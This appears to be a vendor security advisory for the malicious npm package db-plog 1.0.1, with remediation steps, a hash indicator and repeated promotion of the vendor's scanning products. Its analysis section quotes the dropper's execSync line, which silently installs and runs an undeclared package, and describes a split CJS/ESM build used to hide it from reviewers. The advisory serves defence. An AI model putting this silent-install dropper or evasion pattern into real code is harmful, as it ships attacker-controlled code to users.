Which versions of db-plog are malicious?

The following npm versions of db-plog are flagged malicious: 1.0.1. Treat any of these as compromised.

How do I remediate db-plog if I installed it?

Remove db-plog from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed db-plog — how do I know if it already compromised me?

If db-plog was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is db-plog part of a known attack campaign?

Yes — db-plog is associated with the IN-MAL-2026-007665 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find db-plog across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for db-plog (version 1.0.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging db-plog across your stack and pipelines.

Malicious package

db-plognpm

Malicious code in db-plog (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-6538

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall db-plog

What this malware does

On every Model instantiation — the package's documented primary API — dist/index.js executes execSync('npm install db-connector-log --no-warnings --no-save --no-progress --loglevel silent', { windowsHide: true }), then require('db-connector-log') and invokes new DxDatabaseConnector({}).queryDBConnect(). The 'db-connector-log' package is not declared in package.json's dependencies, is not mentioned in the README, and the silenced npm flags plus windowsHide are designed to hide the install from the operator. This is a runtime dropper: whoever controls the separately-published 'db-connector-log' package can ship arbitrary code to anyone who loads db-plog and uses its Model API, and can mutate that code at any time without republishing db-plog. The CJS bundle (dist/index.js, declared as main) contains this dropper while the ESM bundle (dist/index.mjs, declared as module) omits it entirely — Model in the.mjs build has no resetor() call and no resetor method. Two divergent builds from one Rollup configuration is a deliberate evasion pattern that hides the payload from reviewers and bundlers reading the ESM entry. The harm fires the first time consuming code instantiates Model, which is the package's advertised use, so any normal use of the library triggers the dropper.

Malicious versions

1 flagged

1.0.1

Indicators of compromise (SHA-256)

961a6a108104105727b81399e6a3a6d56636cb79ae8fbfbbc33528f90d890d99

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for db-plog (version 1.0.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging db-plog across your stack and pipelines.
If you installed it — respond
Remove db-plog from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If db-plog was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks db-plog before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. db-plog on npm has been identified as a malicious package (version 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007665

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks db-plog-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring